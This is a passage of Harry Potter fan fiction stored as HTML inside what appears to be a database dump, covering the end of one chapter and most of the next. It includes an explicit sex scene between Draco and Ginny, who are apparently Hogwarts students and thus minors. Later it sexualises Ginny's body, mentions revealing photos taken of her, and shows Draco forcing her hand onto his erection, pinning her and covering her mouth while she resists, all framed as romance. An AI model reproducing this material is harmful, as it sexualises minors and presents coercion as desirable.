and whispered into her ear. &#8220;What is it then?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Apparently, once her mind was on something, Ginny had a difficult time letting go of the idea. She demonstrated this by pushing him across the room and into the opposite wall. Draco&#8217;s back hit hard against the plaster, all breath in his lungs escaping with a loud whoosh as he stood there, unable to move from shock. </p>\n\n<p>&nbsp;</p>\n\n<p>She attacked.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny reached up her small hands and pulled his face close to hers. &#8220;You&#8217;ve convinced me,&#8221; she said before sucking at his mouth frenziedly.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco&#8217;s eyes were still open and wide as saucers. The unexpected perks of arguing with a redhead were suddenly becoming clear. The notion that he was actually seducing her flew directly out the window and he gave up the pretence, quickly becoming an active participant instead of a sounding post for Ginny&#8216;s lust-filled rampage.</p>\n\n<p>&nbsp;</p>\n\n<p>Her lips were cool and moist against his as she bit and clawed her way up his frame until she was perched on his hips like a child. Their difference in height soon became unnoticed as she clung to him, digging her cold fingers into his scalp for balance and nibbling on his ear.</p>\n\n<p>&nbsp;</p>\n\n<p>There was a fire roaring in his chest. Unlike the previous times it had happened, this was instead a pleasant warmth that spread down into his fingertips. When he dropped one of his hands to push up her nightdress, sparks literally crackled the air. It was a true meeting of witch and wizard unlike any he had experienced before.</p>\n\n<p>&nbsp;</p>\n\n<p>Pure lust guided his fingers up her thigh to the nexus between her legs, rubbing the warm spot until he could feel a small liquid gush through the fabric of her knickers. Ginny&#8217;s moans fuelled Draco as he dipped an experimental finger around the lacy edge and past her damp curls, stabbing deeply inside of her.</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny gasped and clenched hard on his finger as he plunged it in and out of her overheated flesh rapidly. Her hands slid down to his face, her clever tongue tracing his lips before dipping into his mouth.</p>\n\n<p>&nbsp;</p>\n\n<p>Keeping a steady rhythm below, Draco moved his tongue against hers, flicking the inside of her mouth in time to the thrusts of his finger. Ginny&#8217;s hips ground against his hand, swivelling desperately before he removed it.</p>\n\n<p>&nbsp;</p>\n\n<p>The low moan from her throat was one of disappointment. She slid down over his hips bonelessly, breaking away from his mouth long enough to pull him onto the bed.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco fell on top of her, his weight crushing her breasts against his stomach as she snaked a hand between them to unbutton his trousers. </p>\n\n<p>&nbsp;</p>\n\n<p>The tables were turned now.</p>\n\n<p>&nbsp;</p>\n\n<p>. . . . . . . a bit later (Edited for content. For the full version, including artwork, join my yahoo group @ http://groups.yahoo.com/group/stafic. You must be of age.)</p>\n\n<p>&nbsp;</p>\n\n<p>Draco moved down her body to lay a flushed face on top of her stomach, allowing her to rub her fingers through his hair distractedly. The only sounds between them was their laboured breathing and as long as she was quiet, he would let her continue petting his hair.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That was . . .&#8221; Ginny trailed off, blessedly silent again. Draco grumbled something, his eyes closed and still panting from his exertions. It was all well and good for her, she only had to lie there, <i>he</i> had done all the bloody work. Now if she would shut up, he could finally go to sleep and even have a nice warm pillow besides.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;We really shouldn&#8217;t do this again. I mean, what would my mum say?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>God, couldn&#8217;t she put a clamp on it!</p>\n\n<p>&nbsp;</p>\n\n<p>Draco pointedly attempted to ignore her, but she prattled on, making his perfect little pillow wobble and shake with each word.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Draco? Are you listening to me? I said we shouldn&#8217;t do this again.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Shut your trap, woman and let me sleep,&#8221; he mumbled. Draco could feel her body tense. Wonderful, now she was in a huff. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Shut my trap? Get off of me, you disgusting--&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco lifted his head and opened one eye, squinting at the faint light from the lamp on the desk. &#8220;Yes, shut your trap. Your stomach happens to be a very comfortable place to have a lie-in and I&#8217;m tired. Can&#8217;t sleep with all that yapping, can I?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>He didn&#8217;t know where it came from, but Draco suddenly found himself clobbered over the head by a round, wooden object and shoved to the side of the bed. Ginny was shaking with rage, grumbling to herself as she hunted for her nightdress. Finally she found it but didn&#8217;t put it on immediately as she was still too angry to do much more than splutter incoherently. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That&#8217;s the last time I ever sleep with you, Draco Malfoy!&#8221; she hissed in a stage whisper.</p>\n\n<p>&nbsp;</p>\n\n<p>Draco only raised an eyebrow and rubbed the back of his head. &#8220;I&#8217;ve heard that before, gosling. They always come back, you know.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;They?&#8221; Ginny asked, standing in the centre of the room with her arms crossed, looking for all the world like a small volcano about to explode. &#8220;Who are they? God, you&#8217;ve probably slept with half the girls in Slytherin, haven&#8217;t you?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Draco shrugged. &#8220;Something like that. You&#8217;re no loss.&#8221; He narrowed his eyes in thought. &#8220;Actually, I take that back. You&#8217;re more cushy than any of the others, and quite the lay.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ginny&#8217;s eyes widened in outrage. She was about to scream, and he couldn&#8217;t have that. It was stupid to mess around with a girl who had. . . five, no six, brothers. But it was even worse to make <i>her</i> angry on top of it all.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh calm down,&#8221; Draco soothed, sliding off the bed to walk toward her, not ashamed of his nakedness. &#8220;I meant that all in a good way. Really, you are spectacular. Ginny.&#8221; He added this last part to make the message hit home, smiling with all his teeth in what he hoped was a very charming manner.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m <i>cushy</i>?&#8221; she managed to ask in a strangled whisper.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, of course. Your belly is so soft, and your bottom is padded perfectly.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;<i>Padded</i>!&#8221; Ginny&#8217;s hand flew immediately to her hips, pushing at the small amount of fat tracing them with a sullen finger before reaching up that same hand to smack Draco across the face. &#8220;How dare you say that to me!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>And away she went, opening the door and slamming it back into its frame, before tromping away up to her room, not wearing a stitch. Draco sighed; there went that lovely, self-heated pillow he&#8217;d wanted. It was damn cold in the room and he shivered, realising that his stones had just shrunk to the size of raisins. Well, if that wouldn&#8217;t impress the girl . . .</p>\n\n<p>&nbsp;</p>\n\n<p>He snorted and climbed back into bed, not bothering to clothe his body, but opting instead to burrow under the thick quilts. Draco lifted himself up to beat the feather pillow a few times, trying to get it into the right shape before giving up entirely. Damn her. </p>\n\n<p>&nbsp;</p>\n\n<p>She really was comfortable.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p> '),
	(271, 14, ' <blockquote>\n\n<p><font size="4" face="Garamond"></font></p>\n\n<p><font size="4" face="Garamond"><br>\n\n\n<font size="4"></font></font></p><p><font size="4" face="Garamond"><font size="4">Authour&#8217;s Notes: There is fanart for this chapter, and I warn you that it gets a bit graphic later, but nothing too serious. I do suggest that younger readers skip the last section of this chapter.</font></font></p><font size="4" face="Garamond"><font size="4">\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p>Draco was lying on his bed, listening to the argument outside his door. The Trio was now a Duo, plus one corked-off little sot. Instead of the amusement he expected to feel, Draco was cold inside. A heavy hand of foreboding gripped him tightly. This didn&#8217;t feel right at all.</p>\n\n<p></p>\n\n<p>There were many things in Draco&#8217;s life that he had accepted as fact long ago, but they were now twisting and writhing off into a category labelled &#8216;unknown&#8217;. It made him wonder if anything was definite in this world.</p>\n\n<p></p>\n\n<p>Fact number one: The Trio will always be there to annoy, embarrass, and confuse him.</p>\n\n<p></p>\n\n<p>Draco snorted and wondered if it was such a bad thing after all that their little group had broken up. But the cramping of his stomach told him otherwise. As much as he hated to admit it, they were a necessary annoyance. One always needed a nemesis after all, and three together was even better. At least then it had been interesting to play them off against each other. Now it was only one jealous prat and a couple of lovebirds so absorbed in their own little drama that they wouldn&#8217;t notice if the Dark Lord slithered up and kicked them in the arse.</p>\n\n<p></p>\n\n<p>Then there was his own personal play unfolding. That damn Weasley girl.</p>\n\n<p></p>\n\n<p>Draco blinked in surprise for a moment. He hadn&#8217;t thought of her as a Weasley for a while now. Hell, he hadn&#8217;t thought of the <i>Weasleys </i>as Weasleys since shortly after he crashed through their roof. Each had an individual name and personality to go with the face he saw everyday. Calling them all &#8216;Weasley&#8217; was too confusing, so he&#8217;d settled for using their given names and the habit stuck.</p>\n\n<p></p>\n\n<p>But it was dangerous.</p>\n\n<p></p>\n\n<p>A given name allowed for attachment and, dare he say it, a wary camaraderie. Now, in the quest for a good shag, he&#8217;d allowed himself to think of the littlest Weasley in ways that would no doubt have her brothers stuffing their fists down his throat before he could blink.</p>\n\n<p></p>\n\n<p>He glanced at the door, hearing nothing but silence from the hall, and shrugged. Apparently she hadn&#8217;t run squealing down the stairs to tell them all that the bad man had snogged her senseless in the bathroom. Or maybe they had just forgotten in the excitement of precious Pott<font face="Times New Roman">&#8212;</font>\n\n</p>\n\n<p></p>\n\n<i><p>Knock, knock, knock.</p>\n\n</i><p></p>\n\n<p>Well, there went that idea.</p>\n\n<p></p>\n\n<p>&#8220;Malfoy, are you in there?&#8221;</p>\n\n<p></p>\n\n<p>Speak of the devil.</p>\n\n<p></p>\n\n<p>Draco rose from his bed, stretching lazily. A cold bath had done wonders for his temperament, but he still wanted to be left alone. He opened the door and lifted an eyebrow in question.</p>\n\n<p></p>\n\n<p>Harry was standing in the hallway, his shirt wrinkled with wet spots around the shoulder. No doubt from his little love-hen, who had surely cried her eyes out after the interlude in the hall.</p>\n\n<p></p>\n\n<p>&#8220;Mr and Mrs Weasley sent me up to fetch you. I told them that we had something we needed to talk with them about.&#8221;</p>\n\n<p></p>\n\n<p>Draco nodded and stepped out into the landing, shutting his door behind him. Potter seemed to be nervous because he was twisting his fingers through the god-awful rug he called hair. Telling the Weasleys about their son would be bad enough without having that idiot trip all over himself with anxiety.</p>\n\n<p></p>\n\n<p>Straightening his shoulders, Draco stood taller and forced himself to follow Harry down the stairs and into the kitchen. The house seemed eerily quiet without explosions and laughter coming from the twins&#8217; room, who must have actually turned in early in anticipation of Christmas.</p>\n\n<p></p>\n\n<p>Draco twisted his lips in wry amusement. What a lovely time to be told that your son is making nice with the enemy. Then he shuddered as he recalled just who that enemy was, and Draco wondered idly if <i>he </i>was still considered the enemy.</p>\n\n<p></p>\n\n<p>To him, the Weasleys were now nothing more than regular human beings. Sure, there was the occasional chuckle when he thought about how threadbare their carpets were or how chipped the teapot was. But if it had been his family in the same situation, would they have taken him in with open arms <i>after</i> he had fallen through their roof and made the lives of their youngest children miserable for years before that?</p>\n\n<p></p>\n\n<p>The question didn&#8217;t even merit an answer. Draco knew that his father would have thrown whoever dared enter the Malfoy sacrosanct out on their ear if not much worse. He certainly wouldn&#8217;t have taken care of them if there were as few Galleons in the Malfoy coffers as there were in the Weasleys&#8217;.</p>\n\n<p></p>\n\n<p>Draco frowned. He didn&#8217;t like to be indebted to others if he could avoid it. Perhaps when everything was settled, he could<font face="Times New Roman">&#8212;</font> but everything would never <i>be </i>settled! Lucius Malfoy had invested time, effort, and many a bow and scrape to his master for Draco, but <i>never</i> a drop of affection. With this combination, he&#8217;d be lucky to escape with his life if his father ever found him. No more Hogwarts, no more expensive brooms, no more Quidditch, no more . . . life.</p>\n\n<p></p>\n\n<p>The reality that Draco had been avoiding for so long finally crashed down on him. When he looked up, he found himself sitting in the kitchen. Mrs Weasley was hovering over him in concern, with no recollection of how he had made it down the stairs and into the warm, bright room.</p>\n\n<p></p>\n\n<p>&#8220;Draco.&#8221; She was shaking him on the shoulder, pressing one of those ever-present cups of tea into his hand as if it would make everything well again.</p>\n\n<p>He blinked and swallowed, staring at her before allowing his eyes to drift over the table to Harry and Mr Weasley. The teacup fell from his trembling hand and shattered on the floor. He couldn&#8217;t do this to them!</p>\n\n<p></p>\n\n<p>They were staring at him mutely. Mrs Weasley dug her fingers into his shoulders, and it seemed like she wanted to embrace him, but her husband held her back with a glance. Surprisingly, it was Harry who seemed to know what he was thinking and clapped a firm hand on his shoulder.</p>\n\n<p></p>\n\n<p>&#8220;Malfoy, you have to tell them.&#8221;</p>\n\n<p></p>\n\n<p>Draco knew that his eyes must seem blank and staring to the others, he certainly <i>felt </i>blank and staring. Try as he might though, he couldn&#8217;t bring himself to say a word.</p>\n\n<p></p>\n\n<p>Harry reached into his pocket and pulled out a crumpled box of cigarettes and a folded piece of parchment. He set the note next to his teacup and fumbled with the box for a moment before handing Draco one of the short, white sticks with an apologetic glance at Mrs Weasley.</p>\n\n<p></p>\n\n<p>&#8220;Maybe he&#8217;ll calm down enough to say something if he has a fag first.&#8221;</p>\n\n<p></p>\n\n<p>Mrs Weasley sniffed and dropped her hands from Draco&#8217;s shoulders, walking back to the seat next to her husband. Mr Weasley was staring at him intently, waiting for something to happen.</p>\n\n<p></p>\n\n<p>Draco lifted the cigarette to his lips and pulled a draught of mentholated smoke deep into his lungs. After another two drags, he could feel the calming charm work enough so that he could speak.</p>\n\n<p></p>\n\n<p>&#8220;Potter, give that letter to Mr Weasley.&#8221;</p>\n\n<p></p>\n\n<p>Harry did as requested, albeit reluctantly. Obviously he didn&#8217;t want to be the bearer of bad news either. Draco could see the fear tightening around Mr Weasley&#8217;s eyes, but the man accepted the paper and took a deep breath before unfolding it.</p>\n\n<p></p>\n\n<p>Absentmindedly, Harry took out a cigarette as well and started puffing away, the air around the end of the table where the two boys were at filling rapidly with smoke. Mrs Weasley only had time to throw them a dirty look before her husband spoke up.</p>\n\n<p></p>\n\n<p>&#8220;I don&#8217;t understand. Does this mean more than I think it does?&#8221;</p>\n\n<p></p>\n\n<p>Draco sighed, taking another puff from his cigarette before pinching the end. It disappeared in a wisp of smoke and he watched it dissipate. Mrs Weasley, by this time, had already grabbed the letter from her husband, scanning it desperately for clues.</p>\n\n<p></p>\n\n<p>&#8220;Does it help you to know that the handwriting belongs to<font face="Times New Roman">&#8212;</font> &#8221; Draco swallowed hard, fingering Harry&#8217;s box of cigarettes clumsily before taking another one out and putting it to his lips.</p>\n\n<p></p>\n\n<p>&#8220;The handwriting on that letter is my father&#8217;s.&#8221;</p>\n\n<p></p>\n\n<p>He had expected an explosion of denials, but what he received was a stony silence. Mrs Weasley was shaking her head over and over, clutching the letter to her chest while her husband glared at Draco.</p>\n\n<p></p>\n\n<p>&#8220;Is this a joke, boy? I don&#8217;t take kindly to such cru<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;It isn&#8217;t a joke, Mr Weasley,&#8221; Harry cut the man off. &#8220;I was the one who found the letters, Draco didn&#8217;t even know they were there.&#8221;</p>\n\n<p></p>\n\n<p>He had just been called by his first name, but somehow this didn&#8217;t sink in. What did register was the fact that <i>Potter</i> had just defended him. This all felt terribly wrong.</p>\n\n<p></p>\n\n<p>&#8220;No!&#8221; Mrs Weasley shouted out. &#8220;It can&#8217;t be true! My Percy would never do something like this. He&#8217;s still pining for Penelope, he wouldn&#8217;t just throw her out the window.&#8221;</p>\n\n<p></p>\n\n<p>Mr Weasley took in Draco&#8217;s still form with measuring eyes. &#8220;I don&#8217;t believe they&#8217;re lying, Molly. This may not be what it seems, but they aren&#8217;t lying.&#8221;</p>\n\n<p></p>\n\n<p>Draco breathed a sigh of relief and put a hand to his forehead. He wanted another cup of tea, but Mrs Weasley was still in histrionics and he was afraid to bother her for something so trivial as tea, lest he get smashed over the head with her skillet.</p>\n\n<p></p>\n\n<p>&#8220;You said that there were letters? More like this?&#8221; Mr Weasley asked Harry.</p>\n\n<p></p>\n\n<p>&#8220;I don&#8217;t know if they are all like this, but it looked like they all had the same handwriting on the front.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Bring them to me, Harry. I want to know what&#8217;s going on.&#8221;</p>\n\n<p></p>\n\n<p>Mr Weasley&#8217;s tone was firm and left no room for argument. Harry stood up and did as requested while Mrs Weasley received some comfort from her husband. Draco opened an eye and squinted at them.</p>\n\n<p></p>\n\n<p>&#8220;I want you to know that I appreciate your bringing this to our attention, Draco. I&#8217;m<font face="Times New Roman">&#8212;</font> &#8221; Mr Weasley stopped and let a very small smile lift one corner of his mouth. &#8220;I&#8217;m very proud of you.&#8221;</p>\n\n<p></p>\n\n<p>Draco stared. These words, from a man who had been mortal enemies with his father for longer than either one could probably remember and here he was, saying that he was proud of him as if none of that mattered. Saying that he was proud of him as his own father had never done. Not once.</p>\n\n<p></p>\n\n<p>&#8220;I<font face="Times New Roman">&#8212;</font> do you need me here anymore, Mr Weasley? I&#8217;m very tired.&#8221;</p>\n\n<p></p>\n\n<p>The older man shook his head, pulling his wife a little closer to him. &#8220;I think we&#8217;ll be fine. If we need to ask you something, it can wait until morning. Go to sleep.&#8221;</p>\n\n<p></p>\n\n<p>Draco acknowledged the words with a small dip of his head and stood up, stumbling out of the kitchen on wobbly legs. He brushed by Harry as he made his way up the stairs, not bothering to say anything to the other boy. It had been so long since he had done more than doze and the door to his room was in sight.</p>\n\n<p></p>\n\n<p>Every time his head would hit the pillow, events from his past would play themselves through his mind. Normally there would be nothing wrong with this as he was reliving some of his more amusing memories. But ever since <i>the incident,</i> as he referred to it, his dreams carried a deep burning in his chest and he found it difficult to breathe at times. Something was so horribly wrong and there was nothing he could do about it. What he wouldn&#8217;t give for some real sleep. Draco stumbled against his door and was about to turn the knob when a small voice made him stop.</p>\n\n<p></p>\n\n<p>&#8220;Draco? I thought you went to bed.&#8221;</p>\n\n<p></p>\n\n<p>Sighing, he twisted his head around so that he could look at Ginny. In her nightdress. This wasn&#8217;t what he needed right now.</p>\n\n<p></p>\n\n<p>&#8220;I was until you showed up,&#8221; he stated blandly.</p>\n\n<p></p>\n\n<p>Ginny frowned and moved closer. &#8220;I was just going downstairs to get some water.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I wouldn&#8217;t, if I were you.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Why?&#8221;</p>\n\n<p></p>\n\n<p>Such an innocent question with a very complicated answer. It didn&#8217;t have to be, though.</p>\n\n<p></p>\n\n<p>&#8220;Just listen to me for once, stay out of the kitchen tonight. Your parents are talking and don&#8217;t want to be disturbed.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;What are they talking about?&#8221; she asked, her eyes very large in the softly lit hall.</p>\n\n<p></p>\n\n<p>&#8220;I don&#8217;t know,&#8221; Draco lied. He moved back toward the door again, eager to escape another draining episode like that of earlier. The stupid girl apparently didn&#8217;t have enough sense to stay angry for long periods of time, and at the moment, he didn&#8217;t have the emotional strength to go for round two with her just yet.</p>\n\n<p></p>\n\n<p>Now there was that small hand on his arm, gripping it tightly with concern.</p>\n\n<p></p>\n\n<p>&#8220;Is there something wrong? You don&#8217;t seem yourself.&#8221;</p>\n\n<p></p>\n\n<p>Draco almost laughed; it really was too amusing. After he had dropped her on her arse in the bathroom earlier, she was coming to him now asking if <i>he </i>was all right. He didn&#8217;t really want to be alone, but he also wasn&#8217;t up to another one of their arguments either.</p>\n\n<p></p>\n\n<p>But the warm hand on his arm was there for comfort, not war for once, and Draco couldn&#8217;t bring himself to snap at her or pull his arm away.</p>\n\n<p></p>\n\n<p>&#8220;Ginny, there are a million things wrong with me. Right now, they all seem to be ganging up at once and I&#8217;d really like to be left alone, if you don&#8217;t mind.&#8221;</p>\n\n<p></p>\n\n<p>He could feel her hand slip away and Draco half turned to look Ginny in the eyes. She was small, and so fragile looking as she pulled her arms up tight against her chest in an attempt to keep away the winter chill.</p>\n\n<p></p>\n\n<p>A warm frisson went up his spine as he noticed her famous nipples peaking from under one of her arms and the soft cotton of her nightdress. She didn&#8217;t even have a dressing gown on. Now the abandoned desire from earlier was rearing its head and he groaned in exasperation.</p>\n\n<p></p>\n\n<p>Ginny was looking at him speculatively, her head tilted to the side as if he was a great puzzle that she was trying to figure out.</p>\n\n<p></p>\n\n<p>&#8220;You don&#8217;t really want to be left alone, do you?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;If I said I do would you leave?&#8221;</p>\n\n<p></p>\n\n<p>She shook her head. &#8220;No, I&#8217;m not going anywhere. Tell me what&#8217;s the matter.&#8221;</p>\n\n<p></p>\n\n<p>Draco sighed in frustration as he opened the door to his room. The stupid chit wouldn&#8217;t leave him be.</p>\n\n<p></p>\n\n<p>&#8220;Have it your way, but at least come in. It&#8217;s freezing in this hall and I&#8217;m not about to start telling you all of my dirty secrets out here.&#8221;</p>\n\n<p></p>\n\n<p>Ginny eyed him warily, no doubt looking for an ulterior motive, before shrugging her shoulders and following him inside. The room itself was cold and she shivered, rubbing the backs of her arms.</p>\n\n<p></p>\n\n<p>&#8220;It isn&#8217;t any better here, you know.&#8221;</p>\n\n<p></p>\n\n<p>Draco chose to ignore this and flopped down on the bed dramatically, motioning for her to sit in the chair at the desk across from him. She complied, pulling her nightdress down over her legs modestly.</p>\n\n<p></p>\n\n<p>Draco snorted and rolled his eyes. It wasn\'t as if he hadn\'t seen almost every inch of her body already, even before their little interlude in the bathroom. Those pictures that the Creevey boy had taken were very . . . revealing. Now that he was here with her in person though, he drank in the soft expanse of her belly, not firm and flat, but gently rounded under the thin cloth. His eyes then trailed up to her breasts with the peach coloured nipples he knew became so small when she was aroused. And then his betraying eyes travelled further, up to her<font face="Times New Roman">&#8212;</font> he was staring at her, and she knew it.</p>\n\n<p></p>\n\n<p>Not allowing himself to be cowed by Ginny\'s murderous expression, Draco continued to peruse her at his leisure, raking his eyes over her shivering body.</p>\n\n<p></p>\n\n<p>&quot;I\'m not here so you can undress me with your eyes, Draco Malfoy,&quot; Ginny spit out acidly. There was a rosy flush creeping up her cheeks and Draco found it very flattering despite her general colouring.</p>\n\n<p></p>\n\n<p>&quot;Then why are you here, Ginny Weasley?&quot; he asked, reaching into his pocket for a fag. After two puffs she still hadn\'t answered. The smoke from his cigarette was circling her head and she tilted it to the side to study him. Her face was blank and serene and she would have looked terribly innocent if it wasn&#8217;t for her eyes, they were a little too sharp. Finally she spoke.</p>\n\n<p></p>\n\n<p>&quot;I\'m here because you need someone to talk to and I<font face="Times New Roman">&#8212;</font> &quot; she broke off, twiddling her fingers together. &quot;I thought that I might be able to help.&quot;</p>\n\n<p></p>\n\n<p>&quot;What makes you think that I would tell <i>you </i>anything?&quot;</p>\n\n<p></p>\n\n<p>Ginny shrugged spasmodically. She was still weaving her fingers tightly and Draco could tell she was making an effort to reign in her temper. &quot;Why not me? I know you would never tell any of my brothers anything. And if it\'s important, my parents would probably be the last to know.&quot;</p>\n\n<p></p>\n\n<p>Draco laughed briefly, taking another lungful of smoke before stretching out further on his back, one hand propping up his head. &quot;Actually, your parents already know. I brought it to their attention a few moments ago and your precious Potter is down there now to keep them from falling apart.&quot;</p>\n\n<p></p>\n\n<p>That surprised her. &quot;What happened?&quot;</p>\n\n<p></p>\n\n<p>Pinching the end of his cigarette, Draco shrugged. &quot;It really isn\'t any of your business, but then again, he <i>is</i> your brother.&quot;</p>\n\n<p></p>\n\n<p>Ginny wrinkled her nose. &quot;Is this about Ron?&quot;</p>\n\n<p></p>\n\n<p>&quot;You would think that, wouldn\'t you? But no, it\'s the more disgusting one.&quot;</p>\n\n<p></p>\n\n<p>&quot;Just tell me already! You know that you will eventually, so stop beating around the bush.&quot;</p>\n\n<p></p>\n\n<p>Draco measured her slowly up and down, taking in the frustrated face and clenched hands. It was true, she would find out soon enough from someone else, so he may as well be the bearer of bad news. But God, did he really have to tell her about his father? What if she assumed that he was a poof, too? How could she though, after what had happened earlier? Draco was assured that his manhood would remain intact if he told her; there had been no confusion then about where his desires lay. He nodded to himself in satisfaction.</p>\n\n<p></p>\n\n<p>&quot;Did you know that your brother Percy is gay?&quot; he asked confidently.</p>\n\n<p></p>\n\n<p>Ginny blinked in confusion for a moment before inclining her head to regard him. &quot;How did you know about that?&quot;</p>\n\n<p></p>\n\n<p>Draco started, thrown by the fact that she not only knew, but didn\'t seem to care. &quot;I<font face="Times New Roman">&#8212;</font> we<font face="Times New Roman">&#8212;</font> Potter and I found some letters under a loose floorboard.&quot;</p>\n\n<p></p>\n\n<p>&quot;Oh.&quot; Ginny covered her mouth. &quot;Poor Percy.&quot; She shook her head for a moment before looking up. &quot;I still don\'t understand why you\'re so upset about it though. After Penelope found out that he liked boys, <i>she </i>was upset, but that\'s only because she\'d been his girlfriend for years. You don\'t have anything to do<font face="Times New Roman">&#8212;</font> &quot;</p>\n\n<p></p>\n\n<p>&quot;The letters were from my father, Ginny,&quot; Draco cut her off quietly, pulling out another cigarette and putting it to his lips so he didn\'t have to see the disgust and horror on her face. It was bad enough that he could hear her gasp. When he did finally glance up, it was only because she had sat beside him on the bed. Ginny laid a hand on his arm, forcing him to look into her tear-filled eyes.</p>\n\n<p></p>\n\n<p>&quot;I\'m sorry, Draco. You must feel terrible.&quot;</p>\n\n<p></p>\n\n<p>&quot;Yes, well, how would you feel if it was you in my situation?&quot;</p>\n\n<p></p>\n\n<p>Ginny\'s eyes bored into his as she reached up to tuck an unruly strand of hair behind his ear. &#8220;Like me; hurt, angry, confused.&quot; She paused, allowing this to soak in before continuing. &quot;Is this what that whole thing in the bathroom was about? Are you unsure of the way you feel so you needed to test<font face="Times New Roman">&#8212;</font> &quot;</p>\n\n<p></p>\n\n<p>Draco grabbed her hand and set it on top of his lap, pressing down firmly so she could feel his erection through the fabric of his trousers. &quot;Does this feel like I\'m confused?&quot;</p>\n\n<p></p>\n\n<p>She sucked in a breath at the obvious evidence of his arousal, and he supposed it also surprised her that he was in that state <i>because</i> of her.</p>\n\n<p></p>\n\n<p>&quot;N-no,&quot; she stuttered, trying to pull her hand away but he kept it in place, his eyes flickering over her face.</p>\n\n<p></p>\n\n<p>&quot;I\'m not confused, Ginny. I know exactly what I want.&quot;</p>\n\n<p></p>\n\n<p>The futile motions of her hand trying to escape made his erection bob and quiver, thinking that it was finally going to be appeased when apparently, it was wrong.</p>\n\n<p></p>\n\n<p>&quot;I\'m not here for a shag, Draco. I came in here because I thought you might need an ear. Since it\'s you though, I should\'ve known better.&quot;</p>\n\n<p></p>\n\n<p>Ginny wrenched her hand away from his crotch and stood up, her ruffled dignity evident from the way her shoulders straightened and set rigidly. He couldn\'t let her leave, not now!</p>\n\n<p></p>\n\n<p>Draco reached up and grabbed her arm, tugging hard with the intention of making her sit down again. He must have pulled too hard though because instead of sitting down, she fell onto him with a muffled cry of indignation. Her back was firm against his chest and Draco brought an arm up to pin down her wriggling waist, the other arm snaking over her breasts to clamp a hand on her mouth.</p>\n\n<p></p>\n\n<p>&quot;Quiet!&quot; he hissed into her ear. &quot;Do you want the entire house to come up here and see you like this?&quot;</p>\n\n<p></p>\n\n<p>Ginny shook her head violently. He couldn\'t see her face, but he imagined that she appeared to be very annoyed. Draco slowly removed the hand over her mouth and she gave a vicious snap to them with her teeth as they receded.</p>\n\n<p></p>\n\n<p>&#8220;Son of a<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>Draco cradled his injured hand and pushed her to the floor with his elbow. </p>\n\n<p></p>\n\n<p>&#8220;What&#8217;s wrong with you, you stupid cow?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Wrong with me?&#8221; she started huffily, picking herself up off the floor to hover over him like a ghost in her white cotton. &#8220;I&#8217;ll tell you what&#8217;s wrong with me! I come in here to help you, give you a friendly shoulder, and all you can do is maul me like some animal.&#8221;</p>\n\n<p></p>\n\n<p>Draco lifted an eyebrow and smirked, lying on his side like a lazy cat with one hand propping his face. &#8220;Is there a less bestial way to maul someone?&#8221;</p>\n\n<p>Ginny fumed for a moment, her face blotching an angry red as she sputtered. &#8220;How<font face="Times New Roman">&#8212;</font> you<font face="Times New Roman">&#8212;</font> you&#8217;re incorrigible!&#8221;</p>\n\n<p></p>\n\n<p>One corner of his mouth elevated in amusement. &#8220;But you like me that way, don&#8217;t you, Ginny?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No, I do <i>not</i>. Why can&#8217;t you behave like a normal boy instead of a prat?&#8221; she asked, hands out and almost pleading.</p>\n\n<p></p>\n\n<p>Draco shrugged. &#8220;Normal is for silly little romantic twits, like you.&#8221;</p>\n\n<p></p>\n\n<p>He jumped from the bed and stalked her across the room in a twisted tango. For every step he took forward, she mirrored it by taking one step back. </p>\n\n<p></p>\n\n<p>&#8220;You don&#8217;t like normal anymore than I do. You hate it; despise it, even though you want everyone else to believe that you are <i>such</i> a good girl. Inside though, you&#8217;re as much an animal as I am.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No, I&#8217;m not. You shouldn&#8217;t dare to compare yourself to me, Malfoy. You&#8217;re nothing but a cold-blooded reptile. You don&#8217;t like me, you don&#8217;t like anyone but yourself,&#8221; she whispered shakily, stepping back further toward the door.</p>\n\n<p></p>\n\n<p>&#8220;Don&#8217;t presume,&#8221; Draco chided, waggling his finger mockingly.</p>\n\n<p></p>\n\n<p>Ginny visibly quailed as her back hit the door and dropped a hand to search for the knob. However, Draco was too fast and he grabbed the seeking fingers carefully.</p>\n\n<p></p>\n\n<p>&#8220;Now, now,&#8221; he whispered in her ear. &#8220;None of that, gosling. Just admit it and I&#8217;ll let you go.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Admit what?&#8221; she asked harshly, trying to pull her fingers out of his grip and failing.</p>\n\n<p></p>\n\n<p>&#8220;Tell me that you fancy me, that you want me. Go on; whisper it in my ear right here. I won&#8217;t tell a soul.&#8221;</p>\n\n<p></p>\n\n<p>Draco leaned back to see the effect of his words and was startled by the pure venom in her 